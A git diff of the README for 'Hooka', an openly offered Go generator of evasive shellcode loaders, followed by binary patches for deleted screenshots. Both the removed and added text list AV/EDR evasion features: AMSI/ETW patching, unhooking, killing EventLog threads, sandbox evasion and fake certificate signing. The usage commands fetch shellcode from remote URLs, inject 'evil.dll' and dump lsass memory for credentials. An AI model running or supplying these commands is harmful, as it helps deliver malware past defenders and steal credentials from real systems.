From c13b52fc68d9af0ea215f04a308f6ef48986117c Mon Sep 17 00:00:00 2001
From: d3ext
-
Hooka
- Evasive shellcode loader, hooks detector and more
+ Shellcode loader generator with multiples features
Coded with 💙 by D3Ext
@@ -31,180 +25,160 @@ Features • Usage • Library • - Contributing • Disclaimer
# Introduction -I started this project to create a powerful shellcode loader with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hell's and Galo's Gate techniques and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful. If you have any question feel free to open an issue or whatever you want. - -However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***) - -***Tested on x64, Windows 10*** +Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Why not? # Features -- Get shellcode from remote URL or local file -- Shellcode reflective DLL injection (***sRDI***) -- ***AMSI*** and ***ETW*** patch -- ***Phant0m*** technique to kill EventLog threads (see [here](https://github.com/hlldz/Phant0m)) -- Detects hooked functions (i.e. NtCreateThread) -- Compatible with base64 and hex encoded shellcode -- Hell's Gate + Halo's Gate technique -- Capable of unhooking user-mode syscalls via multiple techniques: - - Classic unhooking - - Full DLL unhooking - - Perun's Fart technique +This tool is able to generate loaders with this features: - Multiple shellcode injection techniques: - - CreateRemoteThread - - CreateProcess - - EnumSystemLocales - - Fibers - - QueueUserApc - - UuidFromString + - SuspendedProcess + - ProcessHollowing + - NtCreateThreadEx - EtwpCreateEtwThread - - RtlCreateUserThread + - NtQueueApcThreadEx + - No-RWX -- Inject shellcode into a process (not stable and only works via CreateRemoteThread technique) -- Dump lsass.exe process to a file +- Get shellcode from raw file, PE, DLL or from a URL +- EXE and DLL are supported as output loader formats + +- Encrypt shellcode using: + - AES + - 3DES + - RC4 + - XOR + +- AMSI and ETW patching (enabled by default) +- Random variables and function names +- Shikata Ga Nai obfuscation (see [here](https://github.com/EgeBalci/sgn)) +- Multiple ways to detect sandboxing +- Enable ACG Guard protection +- Block non-Microsoft signed DLLs from injecting into created processes + +- Capable of unhooking user-mode hooks via multiple techniques: + - Classic + - Full DLL + - Perun's Fart technique + +- ***Phant0m*** technique to suspend EventLog threads (see [here](https://github.com/hlldz/Phant0m)) - Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware)) -- Test mode (injects calc.exe shellcode) - -- All already mentioned features available through official package API - -***This repo is under development so it may contain errors, use it under your own responsability for legal testing purposes*** +- Sign shellcode loader with fake or real certificates +- Strings obfuscation via Caesar cipher (see [here](https://en.wikipedia.org/wiki/Caesar_cipher)) +- Compress code weight using Golang compile and UPX (if it's installed) +- Compute binary entropy of the loader +- Compute MD5, SHA1 and SHA256 checksums to keep track of the loader # Installation -- Just clone the repository like this: +Just clone the repository like this: ```sh -git clone https://github.com/D3Ext/Hooka -cd Hooka -make +$ git clone https://github.com/D3Ext/Hooka +$ cd Hooka +$ make ``` +After that you will find the binary under the `build/` folder + # Usage -Before using the project you should know that there are some functions from `ntdll.dll` that aren't usually hooked but they always appear to be hooked. Here you have all false positives: - -``` -NtGetTickCount -NtQuerySystemTime -NtdllDefWindowProc_A -NtdllDefWindowProc_W -NtdllDialogWndProc_A -NtdllDialogWndProc_W -ZwQuerySystemTime -``` - -- Let's see some examples - > Help panel -``` -``` - -> Detect hooked functions by EDR (including false positives) ```sh -.\Hooka.exe --hooks + _ _ _ _ + | | | | ___ ___ | | __ __ _ | | + | |_| | / _ \ / _ \ | |/ / / _` | | | + | _ | | (_) | | (_) | | < | (_| | |_| + |_| |_| \___/ \___/ |_|\_\ \__,_| (_) + +Usage of Hooka: + REQUIRED: + -i, --input string payload to inject in raw format, as PE, as DLL or from a URL + -o, --output string name of output file (i.e. loader.exe) + -f, --format string format of the payload to generate (available: exe, dll) (default exe) + + EXECUTION: + --proc string process to spawn (in suspended state) when needed for given execution technique (default notepad.exe) + --exec string technique used to load shellcode (default "SuspendedProcess"): + SuspendedProcess + ProcessHollowing + NtCreateThreadEx + EtwpCreateEtwThread + NtQueueApcThreadEx + No-RWX + + AUXILIARY: + -a, --arch string architecture of the loader to generate (default amd64) + -c, --cert string certificate to sign generated loader with (i.e. cert.pfx) + -d, --domain string domain used to sign loader (i.e. www.microsoft.com) + + ENCODING: + --enc string encrypts shellcode using given algorithm (available: aes, 3des, rc4, xor) (default none) + --sgn use Shikata Ga Nai to encode generated loader (it must be installed on path) + --strings obfuscate strings using Caesar cipher + + EVASION: + --unhook string unhooking technique to use (available: full, peruns) + --sandbox enable sandbox evasion + --no-amsi don't patch AMSI + --no-etw don't patch ETW + --hashing use hashes to retrieve function pointers + --acg enable ACG Guard to prevent AV/EDR from modifying existing executable code + --blockdlls prevent non-Microsoft signed DLLs from injecting in child processes + --phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step + --sleep delay shellcode execution using a custom sleep function + + EXTRA: + --calc use a calc.exe shellcode to test loader capabilities (don't provide input file) + --compress compress generated loader using Golang compiler and UPX if it's installed + -r, --rand use a random set of parameters to create a random loader (just for testing purposes) + -v, --verbose enable verbose to print extra information + -h, --help print help panel + +Examples: + hooka -i shellcode.bin -o loader.exe + hooka -i http://192.168.1.126/shellcode.bin -o loader.exe + hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg + hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose ``` -> Test shellcode injection by spawning a calc.exe +> Generate a simple EXE loader ```sh -.\Hooka.exe --test +$ hooka_linux_amd64 -i shellcode.bin -o loader.exe ``` -> Inject shellcode from URL or file +> Generate a DLL loader ```sh -.\Hooka.exe --url http://192.168.116.37/shellcode.bin -.\Hooka.exe --file shellcode.bin +$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll ``` -> Shellcode reflective dll injection (***sRDI***) +> Use custom config (various examples) ```sh -.\Hooka.exe --dll evil.dll,xyz -.\Hooka.exe --remote-dll http://192.168.1.37/evil.dll,xyz +$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose +$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls +$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose ``` -> Inject shellcode into remote process (i.e. werfault.exe) **Not all techniques covered!!** -```sh -.\Hooka.exe --url http://192.168.116.37/shellcode.bin --pid 5864 -``` - -> Decode shellcode as hex or base64 -```sh -.\Hooka.exe --file shellcode.bin --hex -.\Hooka.exe --file shellcode.bin --b64 -``` - -> Use Hell's Gate + Halo's Gate to bypass AVs/EDRs -```sh -.\Hooka.exe -t CreateRemoteThreadHalos --url http://192.168.116.37/shellcode.bin -``` - -> Unhook function before injecting shellcode -```sh -.\Hooka.exe --file shellcode.bin --unhook 3 -``` - -> Patch AMSI and/or ETW -```sh -.\Hooka.exe --amsi --url http://192.168.116.37/shellcode.bin -.\Hooka.exe --etw --url http://192.168.116.37/shellcode.bin -``` - -> Kill EventLog service threads (run as admin) -```sh -.\Hooka.exe --phantom -``` - -> Dump lsass.exe memory to extract credentials (run as admin) -```sh -.\Hooka.exe --lsass dump.tmp -``` - -As you can see Hooka provides a lot of CLI flags to help you in all kind of situations - # Demo -> Detecting hooks -
+
-> Injecting shellcode via CreateRemoteThread technique
-
-
-> Injecting shellcode using custom flags
-
-
-> Test function
-
-
-> Dump lsass memory
-
+
# TODO
-:ballot_box_with_check: Block other processes to open our process like [BlockOpenHandle](https://github.com/TheD1rkMtr/BlockOpenHandle)
-
-:ballot_box_with_check: Unhook patch (write bytes)
-
-:black_square_button: `--pid` flag to handle process injection
-
-:ballot_box_with_check: Function to find PIDs which haven't loaded a given DLL (i.e. umppc16606.dll)
-
-:black_square_button: Remove Windows Defender privileges to make it useless (see [here](https://github.com/plackyhacker/SandboxDefender))
-
-:black_square_button: Test unhooking functions against EDRs
+- Add direct and indirect syscall
+- Add Chacha20 cypher to encrypt shellcode
+- More OPSEC features
+- General improvement
# Library
-To use the official package API see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka)
-
-# Contributing
-
-See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md)
+The official Golang package has most of the already mentioned features and some others. To make use of it, see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka)
# References
@@ -214,10 +188,16 @@ You can take a look at some of the mentioned techniques here:
https://github.com/C-Sto/BananaPhone
https://github.com/timwhitez/Doge-Gabh
https://github.com/Ne0nd0g/go-shellcode
+https://github.com/optiv/Freeze
+https://github.com/f1zm0/acheron
+https://github.com/Enelg52/OffensiveGo
https://github.com/trickster0/TartarusGate
https://github.com/Kara-4search/HookDetection_CSharp
https://github.com/RedLectroid/APIunhooker
https://github.com/plackyhacker/Peruns-Fart
+https://github.com/rasta-mouse/TikiTorch
+https://github.com/phra/PEzor
+https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet
https://github.com/chvancooten/maldev-for-dummies
https://blog.sektor7.net/#!res/2021/perunsfart.md
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
@@ -225,28 +205,18 @@ https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscal
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
+https://winternl.com/detecting-manual-syscalls-from-user-mode/
```
# Disclaimer
-Creator has no responsibility for any kind of:
-
-- Illegal use of the project.
-- Law infringement by third parties and users.
-- Malicious act, capable of causing damage to third parties, promoted by the user through this software.
-
-# Changelog
-
-See [CHANGELOG.md](https://github.com/D3Ext/Hooka/blob/main/CHANGELOG.md)
+Use this project under your own responsability! The author is not responsible of any bad usage of the project.
# License
This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
-Copyright © 2023, *D3Ext*
-
-# Support
-
-
+Copyright © 2024, *D3Ext*
+
diff --git a/assets/crt.png b/assets/crt.png
deleted file mode 100644
index 43d607407a14d0c04b35b8ac093a802a93154f54..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 14345
zcmcJ0cQo8x+wKSmc4igKChR3b+NXyq_x!E`0@~sr#YyA285pk z1@K{AF4B)Kdg|gBd#VW8`v1@yQU`h!s4kQ;QqxN)tz$oxk55J!Cn)eZHY>mK$`88o6_2wp9wK zkp?^j?>!7{&$x&+3L(4ojX8UUvZ!QrS$Ky&AcB(iq%-N=8c0IES7(8P9}Sm9iL991 z&ks1Em7I69QChkmn=!E#r{%a4vKPBlKdv7KT7GF{BarB0YL{ml{i9MhSCF{a6X^h1 zf}asr7@XTHaMUX#4C#gZnJnA=8**DTn-D{isvvI+`#ff--p* dA1(i9=OH=z6fnj#aD7r&aOt@04p&ZMv3Cr=2-P?KexG? zfABX;NbVV7y6^r~ibz8{dA8fyV~lEYAnC(R*QmsE)L~g`nV#4z?o4-w+qJrM4XoSX zEGo+!4>swB^U+HCM~S5%uOuzefqjj^a0b^of>{CAHSbnA!gns@;~>l0%UU%NpyMFv zmeS+;hMOi4eqo3B!=StisQ~rXOI!gI#>T(3{d0>rWC+(?-kN}qfNK_)pRl=6cU>Vo zpDnXRTwaX9U2@dqgeM>}LAmbWCz|B){o~`le>aNhcSrCyiAgC}6ikr;bi={afOxB8 zZD?L-fY`*Yco9{WbC(y;-zueP-OI9rb=DM@_=SgGm32o;`wUBkSQR#fgqh`IJ(n$# z)N6~VoRTI+l1tN)+i!E)nMicT!$lAqejEBw{qOZMAOyz;uaml{g_-OkrYILF`DWFO z%FP6fLUa33r2i?JcS6Z?qYUo3!G(P{w69%{M%Ft|RHW^8x3@lPT+(L!E6dod)gZqY zeRvr74x-R1pw!sAul(2CNcs{Pr2B%IQg=9hrCfK~0n)yp<9H4~xQpFdP`#MGrq{hG z&Z@7yAaMb1IIq9=Gp_&VyoL{NMUNZs!**NzY573cVs57i@j>pM(S)qR5W}X5*V{mH zwL`f5vX_ WHsQvNnxO?mA1WFTaM2)O3l4gZ4-F{8bKn$6(1c-xPsu zvH5n#X#S!RZj|vbgX8Ies>o;&?fmu550*hiIN)7xupBPg{jfv%_u=_`$K(1=PITC( zUak!MOYjw*M}t*?*1zoKGfMn9B1q$Qv&$Tm%U+^}KkWDKmia9XjjDKTu$GdlLG#Q` zf3uu7M;h;AGpMFWa=`c $CW@W z!aj0ut3UBc%ui-4% gaLcg%x}Jsi+nF4pMB2yIJO( zimV7)sTM>I3_{LD9a)fp-AQO7)SFdfe5+$mfa9?{c;r@V^}Gpqlax=aJa1^DbqxrGWR_Df3E&qVpI+B3 z|Lz&LBCmt;oUl2?gr@m8G;os)2i_-vxk*R2O)%jSQVvFkREPPu5}zd7k%q05J2A z#4Q@h*loupG8vpnK4M36yE)9GOl)Fsb3A>C_%VeALb9k}j{_BLm%_d#hgXnt=51O3 zt8}V5DK&{@ln)EL$Ca9wKtmy-qo~mE$rQLVc-KY7V f7B=nr5{ zti#FAJX1*rClRDjioV1-L?VW@Dv7gZv7;K=k|SAte xQ-Atnd%x_IPU>mk)!&$)Zka z$1_N 0Vrk6xUbJ38i=*clfbEpEbCg=gkG#7*3@Zty5LqK{aEUMjW! zjE?~|$+?sOT#j*fn6)_hDe;TxXO08g8#ziwr;qC#$?G60q)|=w-uGU&oudRsh08|9 zf9?*9;MarGds9blJZ*KQ57S?4(s22Lsl$_gN)^Bs7;|A`deNgDWZ7?e+i*{r?U2er zzl6;Ug7%n&6R@|=#glJ-;asw8Ts tZ!lbpcK`q~IKj|%~C`t+Gr%?(N8 z!ZqzP6RKno>c^pvH&8Ap4`-hV%`9qx%N= wqdy|-@QomFEr>=lUm-sUDUkC rOrxy*ZNzbsUS#uK_a#B)`74of~~BZs?Q z4}R5rey1LLHKoF-ZHdg-c%)T{9Ok4)9oS-!@W}EQ$9n%~E2d0fY+GQB{M?M3uKuoE zKEp5Uc*!cNcd1#UHMw2q8c=%)l$VgaRG^j?n16kD;%h&-P%v^#`9d2!V701qbtpl+ z4_4wEz^#GKmpU-IKa2O+$fL5axsfXI5xhEV7CC}u5(=gbT%8akzIyzj{esN{v38ED zdD1I)0oG>;@SPWd-WfWdbpf)^$_U^aUKMN;y$W9Wi)YDwW4%4-6U Qsh#X8wixdFT@$mIUO#(A30MAttQ|6}+;d941BP>(u@Mcirdf z$`zz{oWqirghoKgR=V~$=X6O>>{AK1hsX?^ti+J4>ze^C`imO_bJYgUNAxd@bNnrz zgl@|*el#-(sB9HckO@2So2mNZof6K5s- <%w!IPzhU|h8$xYgxkU2(;%mQE;+vuNbSDe z7u4zR=t0b5LJ~};J Psp);c8T}kGPs%#v7z(enWwnB@Lx{D7Kaeq zkGEEUyTyvr`g0P!Y0k1yfvg9ZpQj>v2CVJeH=`5#Mu@7mXzBtXu9*cZTJsstIPF*s z$10{HRz;cgas9uCr_)*anm&Igo7kb`&aLYfAf4Opi1m5mM(y~9bB*>>D=-+NU9FlH z@1FE__sPY;9w%|N_aQ$~wn-@~-9q_`o{E~~jNXd$fcL^Z$?hN2-2+ISgh#ynHcJP3 z8co7ok9FxQDWCguQivr%+@dx)lg8{WgpBm*v+abDKuy)=bEgk8^qy_iI%nYDc-`S- zm^|s=;xy40L-h&>G{+Y9dNT_va;3}%nssb@Q9P;;eEN+AjGH*vX$DTHO0*4X9Hf>7 zIaIxyc`Cf|%jo?s{tD80pYoeuX1zEhv&}s#!QCvgdKH^eA!Kb+bmbo0B(VzG$Vz5{ zs|kkxDxLTtpP4$yYcvZ6j=DVvlwhZUm4ViD{1_x=j|=n9kQX`c Oa1WQyedr=sSVr4*@_w eC7y+AG(`kzjspIrf&-6(19xw$O zdW-%zj$NF){g?)h0V^Cp6ETs={vvnDD&b2HBwfwR_I81<1h#%aD(KgdE`hlj6}P!g zKH_`LZl4<&nQTzFTI$bQHag3$*qipst@@=uwp>D~bS(5HwyU59ZP$F#BeK&qN6X?0 z{OUw!TwFt-%ALI*Zq}toai}nb`*|d-tafHVMW6GYi!2s!y6;Y;+D-yNX>?(Q!$eJ> zJ2->k?_F1$woT{SHX)g~k{5Xn{Pz$_V8b_^I*o{e+fcla=e!xJfsXUxO~36M{=o(0X{zczj6K0|Dl6)o#H$f z!*k|YA+NEpx$|0+R-Z2nIh=8W#o}XyxD&Ry%Jxa16FVWo&?)@83-d>WAm?(>hw52u zNdo7sz*A{#$)VgMYv4< qG!FIy=G%*K-uEFxT^gxm*n+L7A3<2cxeme)T|-^P}xLs<4 a!@<#xGj z`tTWbNe4q^@}cNxpB+|lV%f>sxhOd{e~L`7_}{%IUfL7zDws{Lpe(_Eom5Rvg4i44 z`62ai`-7~p;Vzb($Emq%ER&};hS1J|Im95QmAJLm)j7Vr=x{1NH7$2Sw@+{SpY^XP zgD!_Qde1i9Nr*ui9n!NCB(QRc8SQ}yu--3arT-at@p9lg-b4qqv0hNXvaOEkm+h=K zDI 8Zr_rsM!EV!?Ni^6J3aqJYhQrL)c~EO=Js$wjMVvBwW6wic DleNhWnRCld`Bqvf`GKA4z&ug+mh@w0E&3WT-#e;2+Eey8=hA zq3^_uO$(!9?4bi0d7Yv_2U@}|=oSb0el|7xDH)FZW8C+IwgFI3fl6|xOm(3ip(lNU zT~$omSo6L%8~QtkL4O+cixF_+r4UKgeYd3%&qK9=FbWIz8MM}l(R}IRbgF-anZW`- zz0L7H*t@$1O8aMnNnTJlXEPR-mAmv5Rh;ZyGn%nIq_HM*J!Sy_%){ D?IUF01rit_#IE&%ZPIrXL- zFjSZz6BM)Bxsh(HXG&+py4g+q=db%gcSQGQMHzVl8cZ>_ER+PZhyj2*a?~XW&FbU< z-g@WmHftRsq8fo|JyWN%|Hh5A8=#!RZ7?i@-y~CacfbQLMCwU6M_Sh`M33B8`y)vi zi Pu-S2NAc#qz! zcVv!Cjw#2IUH6NYHq*p!N5CP0I&I0Vruk`2%s6pV-Xg) ErR$q*ghBePnTikc?iLvQ}5WsvKn?jnmQvCUc_j7 z3T+Ju(EbP1UM5Q%vhdx#FmBM!VA>i~vX1%e7n 2*A%MvR!6ON0jev6`|M=+tDdmlk zRs~vi6Yeb~N$2L{K;=zqKB&vtQ@1f7p9-f_&cOi{qJW{|C%>qIK&<~?-9BhDOd&M3 z6;zCI(jaskJYOf2V$gQl;P|Y?pM!Dz^NlCRe(?g^Nl=WVnwUl?@$fUO)^w`rkkt1a zwjCJDZr)Yh_oC ol#VU~~Bj=>w z8!4LXPdr$M3Op={`4(F%7X1?DOn6HA k6BO?&LnVdV#X(-OyMw-apqcZ zzyGTBS}fnB)n~ZNLw1G*jAi5`*`*mu-VkszgP=rMtyVfl)8TIRnY-<9t06))ShPIt zqceFhUw_@p8sal#C+k &+JIwB{ zuLzDZ73L|BLM syfCiQxGyFx;8z2ps;pL0k=c48amHFRxRT* z@nBP#kO_ 2kV^g z@0nq%8$_4{>u5$#tZFPB%!{$((0{&;PoqG$5{y;POvP;#BzXt{#5eyW4N+VI5o)`+ z9X--RMdpb$`Hd;w%2Yno8EL#$Oz !f{vkDF!dq_KAwY)0u@Wt0DtL)Q7lS!3y#nAnK`F(vlkXGlGJLL_!SJf> z6Z+)HNRs)9cE8+wr)smmtwCybCQ=B%ZwLi3u0V1Nnx>d+VypO*UWHYs!0ll%6fUv! z0<%3KaZ!dEJ9zV5PF_Swa%z`UGR`wa1DNsc8jjfzG46K><$B~GY9 (D !wtsWKVm?ofKS@^ey#G@d|DU+>|1;VCZ#v-U`!8a9 zCAWDq0iQnKmfQM6E0xg1EAq!3P6Qo2(!MRJD9V%`bGIU@*{ 5 z11tS-(^PHN 0 z-OYznQbqBl*=B}TG6N%-{sSfjVKP!CaD#=+8A{1eBw JKD6~sJM0hY &gjGGFrKNuXaX0|4-iJBz|XyRk+H&MqX^b6uN6Zwx!M z@=cAmS&Dhf9XEalTPP%d``2~9)Tk%HG!|U8FL_?m4fm`j`J?T|;+TbBv*r@rT0chC z>Q!#Q0y0 kv%OL?BfS9mauMLB&{laU&G)aVT(1KOcXAy#75=t%0 QjswQ3T$5!bjJ?jE zj{R`H$Rg3B!guVuE)j2ZKrS)qR*kg xM&b7xbQv9YJ+rcy zS|YpoX*5qS7j+H1l=VOB^I0hefZHqyy zC{cN1%P%BF4 zg~SrxwQ4UPeceUI1}<%HCi_w(2qiNwy(K+{sS$*3#;?Exibu|V3z@Zj`P%Ua(SV)0 ztKbm(UO&dUw#s2V=IgF(8zkoE`(s2s_-(@!Z5CG)0w3Q1BPD1Amh*%=?^VFZaghdF z**pOyYERc6&$K63s_rRy&-kV!dz{7q=J!T@AVtAO;%dnZio!#00gH0$tqWNn!= zY_LsV;#i_~COjtj %tMXGxoGX@l`IVbsZ z>`%66Uc7jrpHw+F-2fw~0e}Yb&ym|tUrbhmn2|yu-5-RjNQF-y^^EQg5IC5x%H;Gb znHbpprwXK%@8)m3Q@ c$};NeVbRA1|66-U>O zP~Fu2Sp6BKfFp3#;3*Y?k>!_WA{0%V{5dt$xDjXv`w#x|uiv&U?+R>&Z>9@} KZg8y+gSjoy zTWZP35B!+!^C#~ax8?c`8TBVZZl~C^q08JdE)tloOtnf2QM(k}uZLv@J&Qu3zgzoh zF6~GUjig-yjjLbE!ZfE?xVr;-z)FpSI@jJ@RUsQ#4)FO%5QIrc`|cGu_Cu z#~+3zw^9{Id4N}?sTyV11TT1D &d@xM(5hUrNr4UUtZ)bSH0XLM@;__bow8K7(gW7iJAr;i+d+xo_<~a z*73$Cp7{D4 f(0({a{aa zVQoj7;Sd`;X2Z9LK$|&@dxLcOCOnKCAD|Zw>NU0-p4L?w2~_R+P${9HVKEGk%HGL` zg625~-jbuGSy_+CAz#0#`+ZHSrl6sgB($;5kWdOjY`m_n=${be6$Ep&3<|zvTF<=7 z44||9V_Xi9X+Qhq(D&pP@*F9mD>q#{IQkwNN*lZ&L+QXkYBP5=dsxzICw_##d7DyO zR`c=d>W>KMg;9FZL}H#*Y8B8?z9isa+ R*}F?Ka8( tU^uh 1IlECT~ib*{K+$GOYq_bS8$Q$Z`-us-}j1duXFtOktP0X`1@>_u4 zo RHh?PlW9dFI>15BIwqAZ!xGH0%4Luu1*BVDE(T_Yhm=>>-zZv+f8ov zq$NA5Oaiw^&CjcDwD*6O&{!hU{x#G{I;5?&a|iY7TS7A NOa7egxNp%QVKUMn*KD~r?vSTxUz0ra!nJW~q5>~U;NwIC51M#* zvEw2ar{8({R)&wN1EoMqzgbL#=RJlE*1XxXTCG*NhIa_59d53IMt;q9%Y+`G15eO) zyDGxke^{ghJm7Nb2g<1gm8EIu(;>YHF?H~Ua-PvilC_?F@VY?*JU?Bb1(I&(S|3DB zveU4;(Fvw1?41q|d@(VKbjo5XcVH%qC8&tuMe9K~3BdAggFq!x8JhRWq$-!5klaU= zPvj}uawP5cRlEmW##U?&4`@p81Y$rCC;v)pt@=}T#76Q@&LZ-r#n4w-b_UN5CDECy zW1TqS${(iy09O8Qn!|hi56$5ha@neu4eyKdFxj9zxPL16(W^52X_>-X__~whpP1*> zbA)0H^zqxJ`jwk>-)mjahXO}2>2Jfh3qZMz%hlxv5Z&RE9R5w^8D>CM(yUOGpJ;Ug z_6r~8FQ0R^v9rWOJ7H)Rh=@~G8`D@$bo@F1o5H%*fOWW2nZ>Tnb=ERm))S~1b1z?e z$V*{pZd$#`9-Etrh$A+DWd9{Pu3xqzzUq_l9`%S(nq`a3PP8$OF5=S!cjB)V2Ea2x zkk1w2QHER*ik&$PG#o{ij(SpalfZk(=jc6dLL|yWcr3XyP1A`yton4=hM^KHzAkC` zBNqP22`R~2gZAAMt#?NBr8Uw(VBE>^lnigZm}NK0^K-YD8m#P*s>BdX4AK6pRVht3 z;B-&=1yZpRwRgVGDu$b>1vSEW=$pLv2DUbECUmuB6>VOjbWDUu1H0%59F8_+5;Hw( z)Wp#gzX?OLoL*M5tYE P+sTChH9A>RIbb^YR}_Xr(rjGA<~I6b|_LzM=$e z&hWRy?XTHLq)mw++l 0is=KugV{bL%0ThCJ^7h|RRBevbA zUwS%{hHkIS8XG>)0A);0*jYzF5A7Gl^ l*e3Avf^6{f_VWiIM @CaI>?S;qV@W=x(1Rw*! Y)#SLZWYb&HYV4UbV26yKJA32U-$f((74Eu z->7KSS=jXU%)8I}hvvPd*N&%0R!;S|x5)snb2sF8Ssyk+%UTX{`4tpC%51K*y=6#| zp%Fj~-CK)`9{ZjdEjk1PW*$CV`dTLBvMMq>_?v<})}7Qh`b)#-rb(5F)ut}EA5ALL z-z+e0Uhrb8{%;mIQZm#4VV-MAEV=_mTj3N)6(}qWsceNO-G>KkjzR1K-3Z(D9i6u+ zO=2ZD+)6oxz|Qda%M}PB5HH@eJ|9*vSMwd$RI?1@a>@~!KiNo0Utbw`_fi5ghsIqO zlnHTHl&c43u1-xiozH8`Hf_clzFlvlf-D(V>_W|$0f6PdV^y;yV)@?hCO4J`;ni7zp4T7FDy z%Fe99tE+Bjs&b^y(gi$o3!q13%%K;%tUVmTbC&*Xt!c7Pc0*V;FuO8tg3pw8@wkkM z{*5?D^hNWtvL9=ooke4b>yBzaHFXl-DU>Aw#PbvQ=}X}|pv^+Vb9COext{g4jO4r4 z5`$ZBJ(F3FC9+n9wy9_ZhVM!ZSfp{VvN>Nj9$v;ugcFPU!lINUqUwz$5Sse3vZg4{ z+8R*mo8;DXA(gFCC3K+NEZo9H11Z#+pR(=q-7-Zo6Mkm}YpgE|`(RD)QZs(6>U>&m zs9wK4e6hIqEdUXyTHp5Mlw_u$A!cyIQ=j;3pg;QzNMZ=3H%Y@%F(Jf2JaO9}5}i}^ znGGZ`SCN;qFWdlIpw^!_kldZ&zqT#XaGz7CHvK1Pk@JEA`rEXvZ-oEzobfQ5R*&B@ zd8meIfnDiCo A1oB#-g5ovfGR-+YVVOwWoiJ z@FQq_x(cxV`+6dQHG&jBy^^l6#Qzf)S>m%lS^E=X0SN#!x~^s79D>W!wQ85hF0hT5 zB{N1lSEyTy_5_u{+ 6(u6W9K$(DsYw z _YRhpnFnc zE>D1&^x8bHyLUrlck$0X(dnYsZj!-q&NSr{S0+0^zzfT3fM?*#)Q>xDN^tf~1sy`w z))!j%jyf6q-hQEZ@y&f&=Pz#xq=$4{q95Fc+mjxKim<6i$O+hTyzAq)X4GkS^nh0X zzKbV+P|}#`4T4YD2as}AZ)etra3Y0PW=8^(Qwmgs{Tvnz?gZMcm1KbROa6B@ZejIJ z^0rc1*e{=(pAH4hAMyhVsdRVMUq5)pYA9!Ayp_Dn-Ai_`pejYtXwCOD)QY^kv10CZ z{f&^WT1vP6*QV;fwxVv!Nhr83$tpzk^e^pd)xpw35^3k9oOlXi%OSV8_@id&RE+KP zn-ct!%8fba3Sj}4m0rbJ8uf#Bal-A^?&1Faon9MKLdp{eq3J}*p}={t{%^$2u+!J9 zORGNT_2A1x6REA1kDrB8I&kqEd2kF4E})eg@0N8Y$HoX9UdaWt*b;IlnG>bc>^rC~Bp{v_tIWa^Rdw2 )T zS2Km3W;g~h&_6-S$=FrRGHg?bN>9|COw{h>Es%&aSQ6Zf|4I*%h^bB&Ib~&<2;Whs z9Vl|7H#z?vFQ*^sXsEg-z=Z8P82@g)dE0Lm_t`1gPgrN&vDnzgdefu8m?MZ)elB*9 z@nVOiwIS_PX8_&-vEEzoi8*e8N%3SlLq}>%p6}8u#N=eaTzp4nlXu6`tJGjjMB99p zAC`Owh1rsC+o^abPeed;N#&H1Z!ZtYt3MfV_}~CwOz?s@j|uM;bl%|hdntyP;}WX7 zMhKchja7$$D6J3|ERB#$CVVY(2vu#kT)qX%8yqt=U%mkb{`w#4ivF8a$AAA%2>&Eo c!q+c|RTDYP>ic*J@-$(J3hMIZ&&@;r7h&2BVgLXD diff --git a/assets/custom.png b/assets/custom.png deleted file mode 100644 index 85d2a1fc2936fd4a8406ce8f65ae65c4b88582e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 28070 zcmbrmc{r5c|39upDoIKS*()KGC8058O_s4{r?O=)J7b2DrG&%~LiT;hzE6cPw(R?i zZH#>w>zM63qt|=6zMsz@zr}UAx}EF3&wZZH`+1(r Up{J%uSJHcJnfk{``$t-j=;*#jGZLTEQ~y5m>amFj z9o_jB+V8P;w>%p a-Z7!+Y+ZpN&JPpxErzEJOA87cA_8|vSJ#(I z^bDK)v0fEOY?IM2KYtgJk&ce{4xVAJXJSV(IBZRRW_+jE4bs(oB4{}5;Yq4QbaWj( zYHNYVjxLj;{x!z*=Je6Xr{n^#GI7VA920Pev8qaI92Q+ktMsMZ#ST+`r46r^QgGr6 zWcXpOKlM%2pP>7~1v*#44+!wPe93_u@XuDhKh3sk0tEsOkX8sBidaQlN0DLVMxsn0 zx{2b1ZK~-uD $oNh@J@@xN=rG73eAqEx>fGkov|5V5C>64bxCWGY=b{t=$Rx18TQs1XAdVU3RzBYadMLNS}ew74=-lA-U zb>Tq!P-UoHFb7lm+Y5FlmC*zsWe;8fzU8y)6g#l*l>WFC si ;kQ&B0|p@*3BR~DK|eT( zt$U#2faN@fbeIUEb?}kKpVpN>Y!&n&>Wx1R!?*Du#*;O0`_LT$ocQ@bJu*%_-kI(f 